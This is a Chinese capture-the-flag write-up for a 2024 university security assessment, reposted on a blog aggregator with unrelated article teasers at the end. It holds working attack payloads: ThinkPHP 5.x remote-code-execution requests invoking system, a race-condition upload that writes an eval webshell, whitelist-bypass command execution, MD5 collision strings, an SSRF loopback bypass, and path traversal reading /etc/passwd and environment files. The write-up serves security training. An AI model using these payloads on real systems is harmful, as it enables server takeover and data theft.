云曦2024秋考核

news2024/11/18 11:32:11

真正的hacker

        进去以后一眼就能看出来,是ThinkphpV5漏洞,只是版本不能确定,一开始考核的时候是,抓包看了php的版本,是7.23,是手注了几个尝试出来的(后面才发现报错信息里面就有)。漏洞版本是5.0.23

这里有poc和对应的版本GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

        关于怎么判断和漏洞介绍在后面,这里尝试pwd命令成功,说明存在注入点,直接cat命令可以获得第一个静态flag

这里给了提示,是说要getshell,这里已经否认了反弹shell的情况,先尝试用base64加密以后尝试夺权,没有提示,说明可能上传成功了

访问

说明这个木马没有传到服务器上,所以说明这个页面可能并不是注入点,后面通过上面的rce查看了目录,发现了有一个uploads目录,很明显的信息,尝试把木马文件写入这个目录下

访问以后,写入成功,直接蚁剑连接

拿到flag

你能跟上我的speed吗

很离谱的文件上传,因为就没有过滤的,但是上传文件以后,不会弹出上传成功那些,而且不管怎么样,都会进入这个界面

结合这里的speed,考虑是条件竞争漏洞,

所以这里的木马文件编写如下

<?php $op=fopen("zzc.php","a+");fwrite($op,'<?php @eval($_POST[1]);?>');fclose($op);echo(zzcnb) ?>

下面是这个文件的具体解析

$op = fopen("zzc.php", "a+");

  • fopen("zzc.php", "a+"):这行代码以读写追加模式打开名为 zzc.php 的文件。如果文件不存在,则会尝试创建它。如果文件已经存在,数据将会追加到文件末尾。
  • $op 是一个文件句柄,用于后续的读写操作。

fwrite($op, '<?php @eval($_POST[1]);?>');

  • fwrite($op, '<?php @eval($_POST[1]);?>');:这行代码向 zzc.php 文件写入一段 PHP 代码。这段代码是:

    <?php @eval($_POST[1]);?>
  • @eval($_POST[1])eval 是一个 PHP 函数,用于执行作为参数的 PHP 代码。$_POST[1] 是从 HTTP POST 请求中获取的参数。这意味着任何通过 POST 请求发送到 zzc.php1 参数的内容将被执行。@ 符号用于抑制错误消息的显示。

    简单来说,这段代码创建了一个 Web Shell,允许攻击者通过发送 POST 请求来执行任意 PHP 代码。这样,攻击者可以通过向 zzc.php 发送特定的 POST 数据来远程控制服务器。

fclose($op);

  • 这行代码关闭了之前打开的文件句柄 $op,释放了系统资源。

echo(zzcnb);

  • echo(zzcnb);:这行代码输出字符串 zzcnbzzcnb 是一个普通的字符串,而不是 PHP 变量或函数。在页面上,它将显示为 zzcnb

        总而言之 ,这个 PHP 文件的主要作用是创建一个新的 PHP 文件 zzc.php,并在其中写入一段危险的 PHP 代码。这段代码允许攻击者通过 POST 请求执行任意 PHP 代码。因此,zzc.php 文件实际上是一个 Web Shell,用于远程执行代码。文件最后输出一个字符串 zzcnb,这是为了验证代码执行是否成功。

        打开bp,抓取两个包,一个是上传时的包,一个是访问木马路径的包,并且放到Intruder爆破模块,进行爆破

配置好端口,ip等等

        选择Null payloads并勾选无限重放,之后就是自动重放过程,不断访问上传的zzc.php文件,一旦有200状态码,说明条件竞争成功。

        就像这样,监视上传的php文件,发现状态码为200,而且回显有木马中插入的内容“zzcnb”

访问后木马页面

回显成功,蚁剑连接

连接成功以后,直接cat命令

也可以在当前页面找到木马文件

misc大杂烩

        给了图片,binwalk以后没有发现有隐藏文件那些 ,文件头也没有相关的文件信息那些。所以这里猜测隐写。尝试盲水印,找到了第一段flag

 flag2给的是一个word文件,还是老样子,ctrl a 全选,选字体,选颜色,除去文字隐写,得到flag2

 flag3很明显,base64转图片,解码出来就是一个二维码

解码得到flag 3

flag4是一段音频,直接丢deepsound,得到flag4

5给的提示

很明显的掩码爆破,脚本写了没跑出来

后面是用ARCHPR爆破出来的 一开始设了三位,跑不出来,改成两位以后

 解密得到

因为这题本来就是国赛的的变式,所以这里也是很明显的atbash

得到flag5

考点六

        文件没有格式,丢到010里面,发现最后有一个kp联想到了压缩包文件头pk头,但是是反的,而且文件无法检测格式,所以这里也很自然的想到了16进制倒序

        py脚本编写(已标注思路,这里就不再赘述)

修改以后打开,就能读到里面的照片和相关flag信息

        拼在一起

得到flag

 学习高数

根据提示

扫描

访问来到这个php界面

分析一下限制条件:

1.参数c字符数不能超过60个字符

2.不能含有空格,\t,\r,\n,\,单双引号,中括号

3.使用的单词/函数必须在白名单中

限制其实比较严,那么就看看我们可以使用的一些符号 $ ( ) { } = ; ^ 等,同时我们需要知道的是PHP中函数名也是字符串,可以当作变量名来使用,例如  $pi、$cos 都是合法变量名。

从可以使用的符号中,我们考虑的思路可以是利用数学函数构造变量拼接成动态函数执行命令,也可以考虑使用异或来拼接出函数名。

总之重点就在于凑出函数或者是可以执行的命令。

前置知识点

PHP函数:

scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

动态(可变)函数

PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数,例如: $a = "assert"; $a."(...)"; 

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。  可变函数不能用于例如 eval() , echo , print , unset() , isset() , empty() , include() , require()  以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

php中函数名默认为字符串

例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择

引用自https://www.cnblogs.com/wangtanzhi/p/12246731.html

利用数学函数运算得到函数和命令

先说第一种思路,我们可以利用数学函数来运算得到函数名和命令,使用动态函数来执行命令

 拼凑出exec、system等命令执行函数直接RCE

/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*')

/index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')

利用异或得到函数名和命令

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

将得到的结果放入记事本搜索需要构造的字符

    $pi=_GET->$pi=(is_nan^(6).(4)).(tan^(1).(5))

    $$pi->$_GET

由于[]被禁用所以可以用{}

完整payload:

    $pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

 得到flag

ezezssrf

四层绕过

第一关:md5弱比较

    yunxi[]=1&wlgf[]=2

第二关: md5强比较

需要在bp中传参,在hackbar里不行,因为字符长度太长

yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第三关:ssrf(回环地址,即要检测到那句中文)

    GLG=http://blog.csdn.net@127.0.0.1

第四关:无回显命令执行

运用>写入文件

我的payload:

`ca\t$IFS$9/fla\g$IFS>1.txt`

解释:用\截断关键字,用$IFS代替空格,用$9做垃圾数据。读取flag保存到1.txt

完整的,访问1.txt得到flag

misc1

流量分析

        dns流量,协议分级以后,发现有一些包的长度是差不多的,后面在UDP payload中找到了相关flag信息

统计时间筛选长度,把损毁的信息位置根据提示换成{}和-

整理以后搓出了flag

mmmmmd5

解出前面几个,分离出来,丢批量解md5的网站里面,删除空格那些,整理内容

得到flag,但是这里的-和{}在失败案例里,要统计以后再整理

小小py

        这里进去以后呢就是提示,有flag的照片可以买,但是钱不够,这里尝试了修改前端,但是不是前端的逻辑漏洞,但是抓包发现,下载图片时有参数,即下载路径

        利用这个路径查看文件,发现不能直接回显,用目录穿越查看一下/etc/passwd发现成功回显

查看当前进程运行的环境变量/proc/self/environ,发现flag

知识点:

ThinkphpV5:

ThinkPHP 5.x 主要分为 5.0.x 和 5.1.x 两个系列,这两个系列略有不同,在复现漏洞时也有一定的区别

在 ThinkPHP 5.x 中造成rce有两种原因:
1.路由对控制器名控制不严谨导致的RCE;
2.Request类对调用方法控制不严加上变量覆盖导致RCE

先记录下这两个的主要POC

  • 控制器名未过滤导致rce

function为反射调用的函数,vars[0]为传入的回调函数,vars[1][]为参数为回调函数的参数

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • 核心类 Request 远程代码漏洞

filter[]为回调函数,get[]route[]server[REQUEST_METHOD]为回调函数的参数。执行回调函数的函数为call_user_func()

核心版需要开启debug模式

POST /index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_method=__construct&method=get&filter[]=system&get[]=pwd

GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

 

条件竞争漏洞:

0x01 条件竞争介绍

1.1 是什么

        条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争。

1.2产生条件

并发、共享对象、改变对象是条件竞争产生的必要条件,Wiki上有详细介绍:

0

0x02 漏洞发生场景

2.1 银行提现

当我们在手机端进行提现操作时,账户余额为500元,向服务器发送提现500元的请求,提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里,我再次发送出提现500元的请求会发生什么呢?条件竞争利用成功的结果就是多了500大洋。

2.2 网站文件上传

网络安全如此重视的当今社会,怎么会有网站允许被不法分子上传木马等有威胁性的文件呢,开发人员通过检测文件后缀名,设置白名单黑名单各种方式判断用户上传文件是否为危险文件,一旦发现,就会立马发现。同样的,若是我们在判断和删除事件这一时间差内进行一些操作岂不是也会成功?

2.3 Dos攻击

渗透测试中我们常遇到的重放攻击与之类似,由于没有频率限制,在一些提交页面可以反复的进行数据插入,导致最终服务器资源耗尽,平台无法正常运作。

无回显函数

RCE漏洞基础及CTF绕过_长度限制为7的rce绕过-CSDN博客

[CTF]命令执行无回显利用_ctf无回显命令执行-CSDN博客

HP执行系统命令的4个方法 :

    system 函数:system 函数执行系统命令,并将输出直接打印到标准输出。它的返回值是命令的最后一行输出或者返回状态码(命令成功执行返回0)。

    shell_exec 函数:shell_exec 函数执行系统命令,但它将命令的输出作为字符串返回,而不是打印到标准输出。如果命令没有输出,则返回空字符串。

    exec 函数:exec 函数执行系统命令,并将输出存储到一个数组中,每一行命令输出作为数组的一个元素。它的返回值是命令的最后一行输出或者返回状态码。

    passthru 函数:passthru 函数执行系统命令,并直接将命令的输出发送到标准输出。它不会返回任何输出结果,而是直接将输出显示在屏幕上。

这里既然遇到了无回显这个函数,你第一印象是不是NC反弹shell?这样确实可以,但是也太麻烦了些,使用写入文件方式可以迅速解决。

在PHP中  ">"  是表示把什么写入什么文件的意思。

比如这道题目,既然无回显,那我就把它写进一个文件,然后访问这个文件不就可以了

?cmd= tac fla???hp>1.txt(写进1.txt文件里)

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2136532.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

记录word转xml文件踩坑

word文件另存为xml文件后&#xff0c;xml文件乱码 解决方法&#xff1a; 1.用word打开.docx文件 2.另存为xml文件 3.点击工具 -> Web选项 -> 编码&#xff0c;选择UTF-8 4.点击确定 5.使用notpad打开xml文件 6.使用xml tool进行xml格式化即可。

【免费资料推荐】数据资产管理实践白皮书(6.0版)

荐言&#xff1a;随着数字经济的快速发展&#xff0c;数据已成为企业最重要的资产之一。为有效管理和利用数据资产&#xff0c;各行业纷纷推出数据管理框架和标准。数据资产管理实践白皮书&#xff08;6.0版&#xff09;由中国信息通信研究院联合相关企业共同编写&#xff0c;是…

利士策分享,细品礼仪之美:在日常中优雅相处的艺术

利士策分享&#xff0c;细品礼仪之美&#xff1a;在日常中优雅相处的艺术 在当今这个快节奏、高压力的社会里&#xff0c;人与人之间的交往似乎被简化成了快餐式的信息交流。 然而&#xff0c;根植于文化深处的礼仪之花&#xff0c;依然是促进社会和谐、深化人际关系的宝贵财富…

python使用Pandas读取excel的行列内容

我的Excel文件名称是“测试.xlsx” 首先读取excle的文件内容 import pandas as pd dfpd.read_excel(测试.xlsx) #这个会直接默认读取到这个Excel的第一个sheet print(df)可以看看输出的是什么&#xff1a; 2. df.loc[0]&#xff0c;表示读取Excel的第一行&#xff08;这里…

docker容器中的内存占用高的问题分析

文章目录 问题描述原因分析分析1分析2验证猜想 结论和经验 问题描述 运维新增对某服务的监控后发现&#xff1a;内存不断上涨的现象。进一步确认&#xff0c;是因为有多个导出日志操作导致的内存上涨问题。 进一步的测试得出的结果是&#xff1a;容器刚启动是占用内存约为50M…

白话:大型语言模型中的幻觉(Hallucinations)

大型语言模型&#xff08;LLM&#xff09;可是自然语言处理和人工智能的一大步。它们能做的事情可多了&#xff0c;比如生成听起来挺靠谱的文本&#xff0c;翻译语言&#xff0c;总结文档&#xff0c;甚至写诗。但你知道吗&#xff0c;这些模型有时候会出现 “幻觉&#xff08;…

音视频开发常见的开源项目

FFmpeg 地址&#xff1a;https://ffmpeg.org/介绍&#xff1a;FFmpeg 是一个非常强大的开源多媒体框架&#xff0c;它可以用来处理视频和音频文件。它支持多种格式的转换、编码、解码、转码、流处理等。FFmpeg 包括了 libavformat、libavcodec、libavutil、libswscale、libpos…

Matlab求解微分方程(解析解与数值解)

matlab求解微分方程解析解和数值解 Matlab求微分方程解析解例题1例题2例题3 Matlab求微分方程数值解一阶微分方程例题一例题二 高阶微分方程例题 Matlab求微分方程解析解 dsolve(eqns,conds,options) eqns:微分方程&#xff08;组&#xff09;、conds&#xff1a;初值条件、opt…

萌宠宜家商城系统

摘 要 随着现在经济的不断发展和信息技术性日益完善和优化&#xff0c;传统式数据信息的管理升级成手机软件存放、梳理和数据信息集中统一处理的管理方式。本萌宠物宜家商城系统软件起源于这个环境中&#xff0c;能够帮助管理者在短期内进行庞大数据信息。使用这个专业软件能够…

【开源免费】基于SpringBoot+Vue.JS购物商城网站(JAVA毕业设计)

本文项目编号 T 032 &#xff0c;文末自助获取源码 \color{red}{T032&#xff0c;文末自助获取源码} T032&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 查…

文字识别多功能工具箱 | eSearch v13.1.6

eSearch v13.1.6 是一款开源的截屏识屏搜索工具&#xff0c;它提供了丰富的功能&#xff0c;包括截屏、OCR识别、搜索翻译、贴图、以图搜图和录屏等一体化实用工具。该软件基于 Electron 框架开发&#xff0c;适用于 Linux、Windows 和 macOS 平台。 软件的主要特点和功能包括…

Lua发邮件:实现自动化邮件发送教程指南!

Lua发邮件高级技巧有哪些&#xff1f;如何利用Lua发送电子邮件&#xff1f; 自动化邮件发送是一个非常实用的功能&#xff0c;广泛应用于各种场景&#xff0c;如通知、提醒、报告生成等。Lua作为一种轻量级脚本语言&#xff0c;因其简洁和高效而受到广泛欢迎。AokSend将详细介…

金钥匙系列:Kubernetes (K8s) 服务集群技术栈学习路线

维护Kubernetes (K8s) 服务集群是一个复杂且多层次的技术任务&#xff0c;涉及容器化技术、集群管理、网络、安全、监控等多个领域。为了成为一名优秀的K8s集群维护工程师&#xff0c;技术栈需要广泛且深入。本文将为你详细介绍从零开始到深入掌握K8s集群维护的职业技术栈学习路…

在 Mac 上安装双系统会影响性能吗,安装双系统会清除数据吗?

在 Mac 系统安装并使用双系统已经成为了许多用户办公的选择之一&#xff0c;双系统可以让用户在 Mac 上同时运行 Windows 或其他操作系统。然而&#xff0c;许多用户担心这样做会对 Mac 的性能产生影响。 接下来将给大家介绍 Mac 装双系统会影响性能吗&#xff0c;Mac装双系统…

【Hue导入Hive文件类型数据(自动建表)】

1、进入Hue访问界面&#xff0c;点击要导入表的schema&#xff0c;点击号&#xff0c;上传要导入的文件。 2、本次测试文件数据用逗号分隔&#xff0c;也可根据文件分隔符选择具体格式 3、点击下一步&#xff0c;可自定义表名&#xff0c;以及选择字段数据类型&#xff0c;定…

【PyCharm】常用快捷键

此篇文章内容会不定期更新&#xff0c;仅作为学习过程中的笔记记录 PyCharm的所有快捷键&#xff0c;其实均可以自定义&#xff0c;在位于Settings -> Keymap的目录下&#xff08;如图&#xff09;&#xff0c;可以自行改写为自己熟悉的键位组合。 若更改为PyCharm已存在的键…

【网络安全】PHP配置注入漏洞

未经许可&#xff0c;不得转载。 文章目录 正文 正文 前提&#xff1a;通过探测等方式发现某个 PHP 文件存在 PHPRC 参数&#xff1a; curl "https://xxx.com/about.php?PHPRC/dev/fd/0" --data-binary auto_prepend_file"/etc/passwd"PHPRC 用于指定 P…

灵雀云DevOps:加速应用交付,点燃业务创新引擎

导语 近日&#xff0c;国际知名咨询机构Gartner发布了2024年度DevOps平台魔力象限报告&#xff08;Gartner Magic Quadrant for DevOps Platforms&#xff09;&#xff0c;为信息化决策者在技术战略层面提供了选型和评估DevOps平台供应商的全面视角。报告中&#xff0c;中国云…

el-table 如何实现行列转置?

在某些需求里需要用到 行列转置 的表格&#xff0c;但 el-table 提供的基本表格是不支持行列转置的&#xff0c;这样就需要对这个表格进行二次开发。下面来看具体实现的效果&#xff1a; 具体实现方式 基本原理就是对原有的可渲染的数据结构进行处理&#xff0c;表头与表格数…

Linux学习笔记8 理解Ubuntu网络管理,做自己网络的主人

本文讲解了Ubuntu下网络由什么管理&#xff0c;介绍了临时ip和路由的设置方法&#xff0c;介绍了静态持久化网络配置的方法以及各网络管理软件之间的关系。 来看看Ubuntu网络管理。 序言 原本学习ubuntu网络管理就是为了检查nginx安装过程中使用wget获取压缩包为什么解析不出…